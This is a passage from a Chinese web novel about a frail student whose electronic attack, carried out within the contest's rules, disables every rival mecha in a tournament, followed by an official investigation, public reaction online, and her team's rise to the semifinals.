但曙光T4内传来陶影的拒绝声：“先让他上去吧。” 她有一波关键数据还没传输完。 许彪抱着氧气瓶敲了敲舱门：“喂，少逞能了，看在氧气瓶的份上，让你先上去。” 黑咕隆咚的地方，这人待上瘾了啊？ 陶影谦让道：“你先。” “你先。” 两人互相推拒一番后，陶影收敛了笑容：“你上不上？不上氧气瓶还我。” 许彪：“……” 不是在谦让吗，为什么听上去像是威胁？ 最终，许彪在救援人员的指导下绑好安全绳，被拉上去。 他的机体已经损坏，失去作战能力，赛方放弃回收。 广播播报： 【阿尔泽塔军校一号选手许彪，中断比赛，进入医疗舱。】 发现第一个上来的是许彪，大家都很惊讶，但片刻后，他们又理解了。 救援人员摇摇头：“哎，体质F同学明明自己身体那么差，竟然还把氧气瓶让给对手，救援的时候也先谦让。” “善，大善！” “相比之下……啧啧，”救援人员瞥了许彪一眼，“阿尔泽塔军校果然是流氓作风。” 许彪莫名其妙：“不是，是那个体质F主动要让我的，瞪我干什么？她还威胁我，还扇我！” 许彪不停解释，但发现自己说的话根本没人相信。说真的他自己都有点不太信，一个区区体质F的学生，究竟是怎么压制住他的？ 他开始怀疑人生。 十分钟后，陶影被强行绑上救援绳，她撑住驾驶舱门，一脸诚恳地拜托救援人员：“我想跟队友最后说两句话。” 她这语气听上去像是要说遗言。 两名救援人员面面相觑，拼尽全力无法拒绝。 陶影拖着救援绳回到驾驶舱，语速加快：“林别歌、南卦，数据校验完成了吗？好，现在你们站到赛场的正中心，对，就是机甲最多的地方。” “打开压缩包，接下来就交给你们自由发挥了。” 陶影朝两位队友竖起大拇指，然后安详地被救援人员拖了出去。 另一边的林别歌看着HUD面板上的“正在解压”进度条，右眼皮一跳一跳。 “叮——”解压完成。 压缩包里是一个程序文件。 第66章 程序图标是个爱心,程序名称是—— 双击打开我的心。 不管怎么看都非常可疑。 “这程序真的能点吗？”林别歌面露犹豫，“运行了不会爆炸吧？” 南卦单纯道：“星际网络安全协会宣传——不要打开可疑的压缩包，谨防网络病毒传播,不过小影对我们很好的，不会给我们装病毒。” 林别歌闭眼：“我对你嘴里的‘小影对我们很好’几个字过敏。果然还是不能打开这种可疑程序,就算没有队长，我们也可以自己想办法得分……” “啊啊啊啊啊这什么东西！”林别歌刚想切换回系统界面,突然惨叫出声。 屏幕上的程序竟然在自动运行！ 系统连续弹出一连串窗口,谜一样的代码不停换行。 林别歌手疯狂点右上角的关闭键,都点出火星子了。 “这程序关不掉啊！！！！” 南卦两眼亮亮地盯着屏幕：“电子艺术！” “不是什么东西加上艺术两个字都会显得很厉害……话说你哪里掏出来的速写本啊，比赛中给我收回去！” 似乎是在回应林别歌的惨叫,屏幕上弹出一个窗口。 【To：队友林别歌】 【右上角的关闭键是做给你看的,点不了。】 【别点出腱鞘炎了。】 【落款,亲爱的队长。】 如果面前有桌子，那林别歌现在已经掀桌了。 她手抖地指着屏幕上的女鬼：“你现在不是应该在医疗舱接受检查吗？” 【当然,我本人在医疗舱。这不是实时对话，是预测你的反应后提前写好的程序。我猜你的下一句话是“混蛋,你又算计我！”】 正打算说这句话的林别歌仰天深吸一口气。 不，她已经成熟了。 她不会再被缺德队长的一句话玩弄于股掌之间。 林别歌决定非常理智且冷静地质问队长一番，她现在就……等下程序的进度条什么时候加载到100%了啊啊啊啊！！ 林别歌抱着操纵杆,宽面条泪：“你又想干什么！” 【敬请期待。忘了说，这会儿其它赛区的比赛已经结束，直播观众应该会涌入切斯特星赛区。】 【很多人会看，赢得漂亮一点哦。】 【落款，亲爱的队长。】 “爱你个头！” 林别歌的控诉声在赛场回荡。 此刻躺在医疗舱的陶影对两位队友的反应一无所知——不，她其实有料到。 毕竟她们的行为模式实在太好猜了。 陶影翻身下床，扯过小毯子,裹在身上。 身体检查还没结束，但陶影不想在这里待了，一股消毒水味让她头晕。她抬头对着角落里的监控比了个打枪的手势，砰——一个帅气的开枪动作，监控上的红光瞬间暗了下去。 陶影贴着墙壁，从医疗舱偷溜出去。 医疗舱在星舰的尾部，陶影一路避开人群，路过仓库，她顺便拿了一套工作人员的制服，套在身上，又戴好口罩。 “哦——连工牌都有。” 陶影惊讶地眨眨眼，随后自如地将工牌挂在身上，一路畅通无阻，来到赛区工作人员所在的联合办公室。 角落里摆放着3X3的运算机，系统灯光有规律地闪烁着。和莱机所用的机器是一个牌子，现在已经停产了。 迎面走来几名工作人员，陶影怀里抱着文件，自然地侧过脸，转身朝落地窗走去。 工作间的落地窗非常大，铺满了整个侧壁，造价不菲。 陶影拖了把椅子过来，手里摊开文件假装工作，实则趁机往窗外的赛场瞄。 背后突然传来叫声，陶影听着像是在叫她，装没听见，但那人锲而不舍地又喊了她几声，还走了过来。 “哎，你转过来一下。” 那人拍了一下陶影的肩膀，见实在糊弄不过去，陶影把衣领理了理，转过身。 “什么事？” 本来以为是来逮她回医疗舱的医生，没想到是名技术员。 技术员怀里抱着一堆风干田鼠条的小零食，给陶影塞了几包，然后飞快跑去给下一个人发零食了。 陶影一头雾水地道谢。 那技术员突然回头：“哦，不用谢，之前在检查点收缴的，好几包呢。” “……”好像是林别歌带的零食吧。 收缴来就直接分了？回头林别歌会哭的。 陶影一边想着，一边把食物塞进嘴里嚼嚼嚼。 队友严选确实好吃。唔，时间差不多了吧？ 陶影身体前倾，手贴在窗户上。 星舰离地五千多米，从落地窗往下看，有种即将坠落悬崖的战栗感。 白茫茫的雪原上，七十多台机甲聚集在一起。 五六米的机甲，如果站在面前，只能伸长脖子仰视。但从这个视角向下俯视，就显得非常渺小，仿佛一粒微尘。 陶影还挺喜欢站在高处的。 因为一切都一览无余。 陶影面上无意识流露出几分笑意，她盯着赛场中心的机甲，轻轻摊开手，然后猛地一收，将它们握在掌心。 和她的动作同时响起的，是技术员的大喊声。 “组长，检测到不明电子干扰！是足以击破二级防火墙的病毒攻击！” 封珑捏捏眉心：“把检测到的电波可视化显示。” “好的！”技术员按下回车键。 屏幕放大了赛场的情况。 所有工作人员抬头看向全息屏幕。 陶影嚼着田鼠干也慢吞吞看了过去。 立体赛场地图中，可视化电波就像病毒一样，从赛场的中心不断蔓延，形成一个又一个圆弧。 电波互相接触到的地方，又共鸣成更大的圆弧型区域。 最终整个赛场都被不明电波包围。 技术员发出感叹：“好夸张的攻击强度！还好不是恶意攻击。” “经过解密，发现电波注入的代码，只是让机甲强制关机。” 技术员推了推眼镜。 “强制关机，攻击人究竟想做什么？” …… 赛场上的选手们此刻陷入一片混乱。 “我的机甲怎么突然动不了了？” “我的面板黑屏了！” “见鬼，雷达失灵了！” 机甲突然被夺走控制权，无论怎么推动操纵杆都无济于事，选手们的屏幕上满是雪花点。 一开始，只是一台机甲骤然倒地。 紧接着，第二台，第三台—— 跳在半空的机甲骤然失去动力，重重摔落。 四台、五台、六台—— 两台扭打到一起的机甲齐齐倒下。 十台、二十台、三十台—— 正在劈砍的机甲无法控制，瞬间因为惯性撞出去几十米。 电波病毒一般蔓延到满场，所有机甲瞬间宕机，骨牌般一个接一个倒下。 有选手试图强行重启机甲，但刚刚站起两步，立刻跪地，随后机甲彻底报废。 引擎轰鸣声、击打声统统消失。 刺骨的寒风中，一片雪花悠扬地飘落。 原本激烈交战的赛场，陷入死亡般的寂静。 弗洛法雪山，此刻像是一个机甲坟场。 一望无际的雪原，最终站立着的，只有中心处一台曙光T4， 和愚者MK2。 而下一个瞬间，那两台屹立的机甲，仿佛接收到什么信号，开始攻击。 其中一名选手举起热力刀不断劈砍，另则是一名抡起锤子，开始大范围旋转攻击。 她们从一片雪花，逐渐变成席卷整个赛场的暴风雪。 广播开始播报加分。 【太空女鬼队，加一分。】 【加一分。】 【加一分，加、加、加、加——】 因为加分的速度太快，广播还没来得及念完前一次加分，又开始念下一次。 太空女鬼队的积分以一种惊人的速度增加着。 从仅有的两积分，飙升到一百，两百，三百积分。 直接从倒数第一，反超到第一名！ 医疗舱里的许彪看到比赛直播，垂死病中惊坐起。 许彪大惊：“什么情况？！” 而看到直播的，显然不止是他。 天穹杯高校机甲联赛总直播间。 当前在线观看人数达到10亿。 “帝国第一军校和图兰提斯战术学院，分别以积分482，积分461在所在分赛区拿到了断层第一，明明都开着一样的机体，他们训练有素，简直像在割草啊，遥遥领先200多分！” “这几个赛区都尘埃落定了，家人们有其它推荐的赛区吗？我去看看下饭。” “顶顶，第九分赛区有大戏看，快来。” 网友疑惑：“第九分赛区不是有阿尔泽塔军校？他们肯定是断层第一。” “不，现在积分榜第一是个名不见经传的队伍……”那人神秘兮兮的，“你来看看就知道了。” 网友将信将疑地切换到第九赛区频道，然后看到积分榜上的数字，忍不住揉了一下眼睛。 什么情况？ 他数错位数了？ 一，二，三，四位数？ 第一名的积分是1454？？？啊？ 他仰头震惊了一下，然后又低下头。 不不不，肯定是系统出错了。帝国第一军校都才400多分啊！1454分是什么概念？ 想到这里，网友@了赛场系统报错。 【一个小号】：@天穹杯联赛技术支持第九分赛区的第一名分数是不是有问题？ 他立马就收到了一条评论，想着官方回复还真快，但点开一看，愣了。不是官方？ 【柏墨】：问过技术了，他们说分数准确。 这谁啊，个人用户怎么说话这么内部人士。 网友点开柏墨的主页一看，大吃一惊，还真是柏氏工业的那个柏墨？ 那确实算是三分之一个官方，毕竟她家投资了联赛，也是机甲协会的重要成员。 柏氏工业下任家主她实名上号啊！ 【一个小号】：你还看高校联赛？！我以为你们只关注职业联赛来的。 【柏墨】：有个在意的队伍。 能让曾经拿过联赛第一的机甲狂魔在意的队伍，肯定很强…… 网友思索片刻敲下回复。 【一个小号】：你说的难道是这个1454分的第一名？ 【柏墨】：算是。 网友对这个“太空女鬼队”产生了强烈的好奇心，他点开直播间。 直播间满屏都在扣问号。 【什么情况，我就去拉了个shi，怎么回头就有人一千多分了？刚刚第一名不还是阿尔泽塔军校吗？】 【我看情况有点不太对，场地里的机甲当时都跟中病毒了一样，是不是赛方提供的机甲有什么问题？】 【机甲都是统一的，不可能那么多台同时出问题，肯定是有人违规带了什么电波发射仪器，官方快查查，我觉得不对劲！】 【这个队伍肯定作弊了！】 观众都非常疑惑，开始在官方直播间疯狂刷屏，要官方给个解释。 另一边，官方已经乱成一团。 办公室内，大型运算机疯狂闪烁。 “查出什么情况了吗？技术部！”经理满头大汗。 但技术部没一个人说话，每个人都是神色严肃地在操作仪器。 封珑沉默着看向赛场，良久，说了三个字。 “电子战。” 第67章 “还好攻击没有波及到星舰。如果攻击范围再广一点,我们的星舰都会受到影响，严重情况甚至会被击沉。” “这么严重？你们技术组没提前做好相关预案吗？”调度组长批评道。 技术组呛声：“怎么可能没有预案！只是攻击人提前计算好了电波的攻击范围，所以并没有用上。” “看来果然是选手之间的攻击,来源查到了吗？” 封珑一句话停止了技术组和调度组的战争。 技术组满头冷汗：“正在查。” 调度组长嚷嚷：“还查什么啊？现在赛场只有两台机甲还站着，发起攻击的除了她们还能是别人吗？” 舆情组组长伸出颤抖的手：“我求求你们快点确认电波来源吧,直播间观众怀疑第一名作弊，我后台全被消息堆满了,第九分赛区已经爬上热搜,技术组能不能给个准话,太空女鬼队究竟是不是作弊？联赛第一天我不想熬夜写声明啊！救救我的肾！” 舆情组组长痛苦地捂着心脏。 “技术组，你们说话啊！” 技术组支支吾吾无一人敢言。 这时,技术组二把手顶住压力站了出来,他铿锵拍着胸口道： “你问是不是作弊？” “当然是作弊！” “海选用的机型怎么可能短时间内防火墙全部被攻破,肯定有人违规携带电波发射仪。检查组你们干什么吃的，连这个都发现不了！检查组,人呢！” 皮球踢到了检查组的头上。 技术组二把手一脸兴师问罪的表情，转头发现检查组全员嘴里正嚼着食物,仓鼠一样茫然地看着他。 “……你们还有心情吃东西？！等下，你们哪里来这么多吃的？” “入场检查时收缴的肉干，你要不要也来一根？” “哦——谢谢。” 一片乱七八糟群龙无首的气氛中,封珑的声音冷冷传来。 “你们是不是真的不想下班了？” 一时噤声。 封珑把文件在桌上齐了齐，随后她平静地环臂，面露警告地扫视所有组长一眼。 检查组长赶忙擦掉嘴角的油，搓手道： “封组长明察啊，我们这会儿虽然挺放松的，但检查时间绝对有在认真工作。” “检查点有发现可疑的人吗？”封珑打断他的废话，直接点名,“太空女鬼队，她们通过检查点的时候，有没有什么异常行为。” “那她们异常行为可太多了。那名体质F同学不知道带了多少东西进去。” “你们没拦？” “当然拦了！但我们包括她所有的药都一瓶瓶检查过，没有问题。还有些奇奇怪怪的东西，像是氧气瓶啊空气净化器什么的，但都通过医疗组审核批准过的！” 医疗组跳起来了：“那她那个体质要带氧气瓶你敢拦着吗！” “别吵架嘛，”检查组长推出几包肉干递给医疗组，“这些吃的也是从他们那里收缴来的，先吃点，然后再想办法？” “哦——谢谢。”医疗组欣然接过零食。 这个团队谁爱带谁带吧！ 封珑闭了闭眼，从抽屉里掏出一袋养肝的营养液。 她一口闷完这袋充满苦味的棕黄色液体，压了压火气，换了个话题：“医疗组，你们突然来这里是有什么事吗？” 医疗组长像是突然想起来什么事，哎呀一声，开始报告。 “那名救上来的白颖同学不在医疗舱！” “白颖是谁？”“就是那个体质F同学。” “哦，你说她啊……”技术组组长微顿，然后后退一步，大声道，“这种事情不是应该一开始就报告吗？你们医疗组干什么吃的！” 眼见医疗组也要加入这场混战，封珑深吸了一口气，猛拍几下桌子。 “都给我安静！不 用找了，我知道她在哪儿。” 说完，封珑大踏步来到落地窗的角落。 大家终于发现那里一直坐着一名可疑人士。 她头发半长，扎在脑后。身高约一米六五，骨架算是星际平均水平，穿着工作服，口罩遮住嘴，只露出一双眼睛。 黑色瞳孔非常沉稳，给人一种靠谱的技术员感觉。 但问题是，整个办公室没人认识她。 那可疑人士单手扯下口罩，露出一张笑眯眯的脸，十分亲切。 “大家好？” 封珑冷笑一声，一把提起可疑人士纤弱的手腕，扯到众人面前。 “你们找的人是她吗？” 检查组长和医疗组长绕着陶影走了三圈，比对后，连连点头。 “竟然伪装成工作人员跑出来，难怪我没找到。” “我还给她递了零食呢，她看上去太像技术员了。” “她在医疗舱的时候，录像系统正好断电了在检修……” “那可真是太巧了。” 封珑松开陶影的手腕，语气质问。 “你来这里做什么？” 陶影揉揉酸痛的手腕，微笑道：“医疗舱呆着不舒服，所以想出来透透气，结果不小心迷路了。为什么大家都这么看着我？” 陶影捂住胸口：“我只是一名路过的柔弱选手罢了。” 你骗鬼啊？ 封珑面无表情。 “那你这身衣服怎么回事？” “哦，你说这个啊，星舰上温度太低，我冷得发抖，正好路过一个房间，看见里面全是衣服，就随手抓来一件穿上了。” 众人噎了一下，感觉她好像在睁着眼睛说瞎话，但考虑到她的体质，好像逻辑上也能说得通。 封珑退后一步：“你的意思是，你穿上工作服，顺便挂上了工牌，而且一路走到这里，完全没被人发现？” “是啊，大家工作都还蛮认真的，完全没有发现我。” 技术组、调度组、检查组、舆情组、医疗组此刻观点达成一致：“对，肯定是因为我们工作太专注了，所以才没有发现。” “话说这是谁的工牌——上面写着封珑，封组长。是谁啊，她上班怎么没有带工牌？那这件衣服也是她的？” 陶影举起工牌，四下对着人比划。 封珑冷笑一声，揪住陶影的衣领：“少装傻，调查组，带她去问询室！” …… 陶影就这样被带去问询室。 穿过长长走廊，站在尽头的问询室前，头顶惨白的灯光闪烁，封珑扫描完ID卡，让陶影进去坐着。 进屋后，陶影往四周打量了一下，四壁空空，天花板很低，没有窗户，一股压抑的气氛。 家具只有一张桌子和几把生锈的烂椅子，陶影随便拖了一把坐下，发出嘎吱嘎吱的声音。 星舰上还有这种吓唬小孩的地方？ 两女一男走进来，就这样坐在陶影对面审视了她十分钟，什么也没有说。 陶影也在审视他们。 陶影很快看出，这是两名调查员和一名技术员。 陶影询问：“比赛裁定结束了吗？” 调查员递过平板，上面是比赛结束时候的积分。 “是啊，恭喜，太空女鬼队最终得分——2222。你们的分数甚至是帝一军校的5倍。” 调查员原本笑眯眯的，但瞬间变了脸色，寒声道： “但你的得分正当吗？” 陶影面色不改，兀自思索片刻后，问道：“听说我的队友在隔壁的问询室？” “怎么，担心她们供出你来？” “哦——那倒不是。只是提醒你们最好不要在林别歌面前吃收缴的零食，她会大哭。” 调查员没料到这个回答，面上表情僵硬了一瞬，他回了回情绪后，继续质问陶影。 “你为什么要逃避问题，是因为我说中了你作弊的事实？” 好久没有这种体验了，上次被当成嫌疑人审问，还是十岁那年。 陶影一边应付问话，一边抬头看了眼惨白的灯光，举手：“麻烦温度调高一点，我冷。” 五分钟后。 陶影举手：“请给冰莱式350毫升，少冰不要糖浆谢谢，我需要补充一点能量。” 陶影自若地喝了一口咖啡。 五分钟后。 “我想给家里人打个电话——”陶影懒洋洋地举手。 “你哪来这么多要求！”调查员一拍桌子。 还点上菜了，当他们这里是咖啡馆啊！ 门外正在看着情况的封珑眉头一皱。 调度组长：“我看她怎么一点也不害怕，进小黑屋跟回家似的？” “现在作弊的学生都这么猖狂吗？” 本来想给陶影一点心理压力，没想到她没有压力也就算了，竟然还大摇大摆地开始喝咖啡。 问询室内的调查员气不打一处来。 调查员也不迂回套话了，直接一掌拍在桌子上：“说，你为什么用电波仪作弊！” 一副坦白从宽抗拒从严的凶狠模样。 另一位调查员给陶影递了一块巧克力，语气温和：“只要配合调查，虽然会被禁赛两年，但以后还有机会参加的，但如果不配合，以后可能终身禁止你参加联赛。” 陶影大方地摊手。 “我没有带什么电波发射仪，明文规定不许带的东西，我怎么可能用呢？” “没有？呵，”调查员冷笑一声，“那你说说，你机体里发出的高强度信号是什么？技术员！” 技术员推过屏幕，指着屏幕上的数百道波形。 “这里，大概在你被救出前的三分钟，你的机体开始传输数据给队友，随后开始爆发式扩散，直接感染了整个赛场的机甲。” “我不否认，这件事情是我做的。”陶影笑眯眯地。 “那你就是承认自己的作弊行为了？” “不，这是合规的攻击，”陶影摇头，“你们没有在机甲里搜出该有的东西吧？” 陶影喝了一口咖啡，靠在椅子上。 “你——” 陶影举起双手，做投降状：“不要误会，这位调查员。我不是在挑衅你。你们不可能找到的，因为我本来就没有带什么电波仪。” “不可能！那这段高强度信号要怎么解释，你的机体怎么发出这种信号？” 另一名唱白脸的调查员看样子也有些失去耐心：“是啊，你还是直说吧，你两位队友都已经如实交代了。” 哦，想用囚徒困境诈她？真把她当犯人审啊。 可惜她一直说的都是实话。 陶影闻言轻轻一笑：“我看直说也没用，不如复现一次攻击给你们看吧。” 说着她指了指技术员手中的平板。 “借我一下？” 技术员向上级请示后，将平板递了过来。 陶影手飞快地在屏幕上敲动，没有借助任何额外设备，只是远程操作机甲，再次向林别歌的机甲发送了一次指令。 然后就抱着咖啡杯，一边暖手一边等待。 等待的时间并不长。 三十秒，有人迅速推门而入。 技术组长大声道：“你们干了什么，刚刚赛场内的机甲突然又全部停止响应了！” 在两位调查员惊讶的目光中，陶影摊手。 “你看，我说吧？” “是合规攻击。” 第68章 “我通过曙光T4型号的系统漏洞,取得了系统权限，至于你们说的高频率信号，我怀疑是遗迹内部有什么仪器正好和机甲的通讯模块共鸣,所以产生了高强度电波。” 调查员疑惑：“遗迹？仪器？共鸣？” 陶影掏出光脑，把当时在裂隙内拍下的蓝星文字展示出来。 “弗洛法山脉的裂隙中,有太空流浪时代的遗迹。” 陶影当时听见洞穴深处有异样的声音，本来以为是缺氧产生的幻觉,但回过头来,越想越觉得,当时听见的声音，像是什么古老的机械在运转。 两名调查员面面相觑。 技术员迅速打了个电话,果然在裂隙内部探测到奇怪的高能信号源,经确认后,的确是遗迹。 在技术部集体进行全方位的解析后，宣布了陶影所说属实。她没有作弊,只是利用机甲漏洞进行了系统攻击。 同时，遗迹内容也上报给了星际遗迹管理局,做后续的研究保护。 场外的封珑无奈地坐下：“她没问题，放人吧。” …… 凌晨十二点，还有一大批星网网友正在等待联赛官方的公告。 “太空女鬼队究竟有没有作弊？怎么第九赛区的调查还没有出结果！我等着睡觉呢！” “就是就是,如果真的是作弊，那太空女鬼队的分数不算数吧？” “出了家人们，官方出公告了！” 熬夜吃瓜的网友们一起挤到联赛的官方帐号。 【天穹杯联赛技术支持】：今天白天，第九分赛区出现的机甲大规模宕机事件广受关注。经过天穹杯联赛技术组及多方确认，现说明相关情况。 【天穹杯联赛技术支持】：太空女鬼队的队长通过曙光T4的系统漏洞， 对赛场内的机甲进行了权限控制，导致机甲宕机,但该队电子攻击过程中并没有使用违规仪器，此行为属于电子战范畴，合乎联赛规定，故太空女鬼队的成绩不作更改。感谢大家对比赛公平性的共同监督。 公告内还附录了攻击的全部数据。 “省流版，太空女鬼队没有作弊。” “你的意思是这人只花了三分钟破解了曙光T4的系统？骗人的吧，我倒是在第27届联赛见过类似的攻击，但那是开局一个小时之后的事！” “哦，我记得那场电子战，攻坚手来自帝国第一军校，她毕业十几年就步步高升干成元帅了。” “你现在是告诉我那名元帅花了一个小时做到的事，她只花了三分钟是吗？三分钟我连获取系统权限都做不到，我不信。” “你不信有什么用，技术部的数据给得非常详细，我已经复刻攻击了。” 这人兴冲冲地发布了曙光T4被远程控制的视频，网友这下算是完全相信了太空女鬼队是纯靠实力取胜。 但也有人突然反应过来。 “等一下，联赛技术部公布这么多攻击细节，一群人跑去模仿，不是要机甲厂商死吗，草台班子快编辑掉啊！” 但已经太迟了，下载附录数据的人达到三百多个，都开始按照攻击细节复刻内容，一时间整个星际的曙光T4都迎来了安稳的睡眠。 曙光T4机甲厂商夺命连环Call技术部，开始连夜修补漏洞程序。 终于，凌晨六点，曙光T4的机甲商加西亚电子也发布了公告。 【加西亚电子】：@天穹杯联赛技术支持漏洞已修复，请尽快更新到最新版本。下次发公告请挑在上班时间，好吗好的。 网友：对不起我知道不该笑但是哈哈哈哈哈哈。 网友：凌晨加班，这么命苦？怜爱了。 网友：事情还要从太空女鬼队的一次攻击开始说起……等下，太空女鬼？这不是海台科技的IP吗？不会是商战吧？ 加西亚电子的皮下，似乎因为半夜加班已经有些失去理智，他迅速怨气十足地跟上讨论。 【加西亚电子】：@海台科技商战是这么搞的？有本事白天来，正面来！ 【海台科技】：@加西亚电子并非商战，只是我们投资的队伍比较争气，正面来也不是不行，你躺下。 网友：你俩不是竞争对手吗怎么还聊上了？ 网友：来个人脉告诉我究竟是不是商战！ 网友：业内老实人来回答了，海台科技在业界向来不树敌的，非常佛系。 网友：我作证是的，伊琳娜总裁只跟爱荷华科技搞商战，这两家才是真仇人。 网友迅速P了表情包。 太空女鬼队：让两大机甲商为我打起来，我做了什么.jpg meme图在网上迅速流传，太空女鬼队的名号一时传遍了联赛群。 几乎所有联赛学生都知道了她们海选赛积分榜总榜排名第一。 “听说太空女鬼队还都是新生？本来以为帝一和图兰提斯的新人已经很厉害了，没想到还有这颗新星等着我，已经开始期待接下来的比赛了！” 祝小芮作为图兰提斯的学生，比赛刚刚结束，也知道了这个消息。 她在群内疯狂艾特陶影的帐号。 “我去，S老师你们队2222分？我们图兰提斯都才500+。” “咦，S老师就是那个著名的太空女鬼队的队长？” “你多久没上线了，信息落后这么多版本？太空女鬼队就是我们上次友谊赛的对手。” “什么？原来是她！我还以为那场友谊赛已经打得很漂亮了，S老师！原来之前你都在隐藏实力，明明电子战这么厉害，友谊赛竟然一点没出手！” 陶影：“那毕竟是友谊赛嘛。” 她说的假话。 不在友谊赛用电子攻击，只是考虑到海选赛可能会遇到图兰提斯，想防着这群战术狂魔，所以之前并没有展示全部实力。 陶影眨眨眼。 不过这件事就不说了吧，还要装装好人的。 而另一边，林别歌打开光脑，被同学的消息弹窗弹得晕头转向。 她还是不敢相信她们竟然拿了第九分赛区第一名。 昨天林别歌在场上光顾着动刀，完全没注意成绩，一下场就被拉到问询室一通询问，更是没机会问分数。 所以直到从问询室被放出来，陶影和她打招呼，她才被告知她们队伍的分数是2222。 昨天，林别歌一直到回家都是恍然的。 “影子，2222哎。”“我知道。” “4个2，王炸！”“嗯，我听见了。” 帝国第一军校都才500多分，她们究竟是怎么做到的？ “南瓜，你掐掐我，我肯定是在做梦。南瓜？你怎么不回我？” 陶影无奈道：“她睡觉去了。” 林别歌就这样睁着眼睛睡了一晚。第二天上课，全程处于一个飘飘然的状态。 第三天，林别歌终于恢复了正常，跟着亲爱的队长正常上课。然后看陶影又交了两门课的作业，一副见鬼的表情。 “你什么时候做完课程作业的？” “前两天你们睡觉的时候。” “那个点你不应该也在睡觉吗？” 陶影感受到队友质问“你身体还要不要了”的眼神，毫不心虚道：“我整整睡了四个小时，够了。” “实在不行你注射点镇静剂吧。” 陶影和队友有一搭没一搭聊着，进入训练场的时候，正好碰见周真他们的队伍。 “嗨。”姚梦桃朝她们打招呼。 陶影想起他们也参加了海选赛，似乎跟帝一抽到同一个赛区，便顺口问了一句。 “你们比赛情况怎么样？” 几人脸色各异，最后是周真摇摇头说：“我们积分在第三赛区排11名，正好被淘汰了。” 孙荡：“都怪帝一，要不是最后关头被他们盯上，我们肯定能晋级！” 姚梦桃摆摆手：“算啦，技不如人，不找借口。” 姚梦桃看着眼前的队伍，十分感慨。 一开始课程对战的时候，姚梦桃觉得她们很弱，当时体质F同学缺席，课程对打只能2v2，姚梦桃就推了周真跟孙荡出去，完全没有跟她们打的兴趣。 谁能想到这个问题组合，竟然能拿积分榜第一？ “那个电子攻击，你究竟怎么做到的？”姚梦桃忍不住好奇地问陶影。 “官方提前给了机甲型号，想办法查个漏洞不难。” 陶影说得轻描淡写，但姚梦桃却不这么认为，以前联赛曾经有过类似的电子战，但因为结果太过一边倒，自那以后，联赛的机甲都加强了安全防御，很难破解。 所以近年的联赛中，几乎没有电子攻击的出现，更多的是像雾雨E那样的场内物理干扰。 为了找出漏洞，陶影付出的努力绝对没有她所展现出来的那么轻易。 本来姚梦桃以为这个队伍赢了，自己心里会不平衡，此刻却异常宁静。 姚梦桃伸手：“之后的比赛也加油。” 陶影微笑回握：“谢谢。” 孙荡顶着一头黄毛：“我也会继续关注你们比赛的。” 陶影淡淡道：“嗯，倒也不是很需要你的关注。” 孙荡：“……” …… 等待下一场比赛期间，南卦搜刮了海选赛的官方视频，截下来几十张图，排版了一下，想贴在客厅的照片墙上。 照片有林别歌炫酷拔刀的，她抡锤的，还有小影在雪崩里握住天机零枪管，向后飒爽一跃的。 南卦把它贴在图兰提斯友谊赛的大合照后面，上方还有她们第一次，第二次，第三次输掉的对战。 以及第一次打赢周真她们队伍的对战。 陶影和林别歌也过来帮着一起贴。 林别歌看着照片感慨：“我们一开始配合还很烂来着。” “对啊，那时候小影骨折了，在医疗舱躺着带我们复盘战术。” “那时候我们还不住在这里。” “赢过一场后，我们再也没有输过。” 南卦和林别歌仰头。 她们之前一直觉得，决赛夺冠是个虚幻的目标，是个无法实现的梦。 只是队长无聊说来玩玩的。 但现在不那么觉得了。 她们好像一步步，逐渐摸清了它的形状。 照片墙还有很大一块空白，供她们填满。 就这样一鼓作气闯到决赛！ “影子，感觉只要你在队里，我们就不会输。” “哦？”陶影按下一颗图钉，讶异地侧过头。 她轻笑一声：“必须要我在队伍里吗？我躺在医疗舱不也照样能让你们赢。” “那还是求你别进医疗舱了。今天药吃了吗？小叶怎么也不提醒一下，小叶？小叶！” 林别歌叫了七八声，小叶完全没有反应。 陶影低头看向那个圆滚滚的机器人，敲敲它脑门，叫了一声“小叶”。 智能管家仿佛接收到什么信号，迅速启动。 它露出一个很困的表情：“有什么事吗，主人？” 林别歌正在疑惑为什么影子叫小叶有用，而她叫就没用，就看见她们亲爱的队长大人直直地盯着这位智能管家，像在思索什么。 陶影嘴里喃喃道：“难道是把我的声纹设置成唤醒条件了吗……算了，小叶，进入省电模式。” “收到命令。” 小机器人僵硬地缩回了角落。 林别歌：“它看上去似乎没有之前那么智能了。” 南卦凑过来道：“总觉得有种失去灵魂的感觉。” 陶影若有所思地点点头：“可能是吧。” …… 天穹杯，所有星系的报名队伍，共5723个，经过一轮海选后，晋级1900个队伍。 第二轮海选赛很快开始。 这几轮海选赛的赛程安排非常紧张，对体力是一个很大的考验。 陶影决定速战速决，她上场后立刻试了一下之前的漏洞。 面板上弹出警告信息。 【未能获得root权限。】 漏洞被补上了。 看来经过前一轮的发酵，赛方已经紧急升级了机甲的防火墙。 但没关系，只是时间会花得多一点而已，陶影耸耸肩膀。 一个小时后，赛场内的机甲再次全部倒下。 【太空女鬼队，晋级到第三轮！】 之后的第三轮，第四轮比赛，陶影如法炮制。 比赛的队伍数量从1900锐减到630，然后是210，最后是70。 海选赛结束，只剩下七十个队伍。 太空女鬼队一口气冲到了半决赛。 第69章 能进入半决赛的纯新生队伍寥寥无几,大多数背后都有强大的团队。 新生队伍一路闯入半决赛，简直超乎寻常。 一次第一名，也许是巧合,是运气。 但连续这么多次呢？ 之前只是社交平台玩梗，现在网友真的对太空女鬼队产生了好奇心。 “这个太空女鬼队究竟什么来历？” “家人们,我挖到料了。这个队伍来自莱门大学机特学院，队长体质只有F,连跑步都能晕倒！” 众人齐齐：“什么,真的假的！” 底下有人贴出了陶影的参赛照片。蓝色背景的证件照上,学生面色惨白，仿佛下一秒就要嘎了。 “……” “看来是真的。” 但了解到这,大家就更奇怪了。 “她这个技术能力,读机甲系统专业应该是TOP级别的吧,怎么会开机甲，难道是为了梦想？” 莱门大学的校园论坛,被前来围观的网友攻陷了。 之前大家对莱门大学机特学院的印象只有一个字——菜。 现在他们的学生竟然闯入了半决赛！ “既然是莱门大学的学生，队名为什么叫太空女鬼,是莱门大学的名号不够响吗？” “这你都不知道？莱门大学觉得机特学院丢脸，所以不让太空女鬼队打学校的名号。没想到她们竟然闯入了半决赛。” “哦——那他们眼光真差，好不容易出了个好队伍,竟然还推给别人。” 此刻的莱门大学外联部办公室。 上级怒气冲冲：“你看看你干的什么事！这么好的一个宣传学院的机会，现在她们顶着的什么名字？太空女鬼？简直胡闹！” 这种热度，如果能成为宣传，本来可以为机特学院招到更好的生源！ “那我也没想到……” 挨骂的戈登小声嘟囔。 那个队伍，一看就会在海选赛被淘汰，谁知道她们竟然能晋级四轮比赛啊。 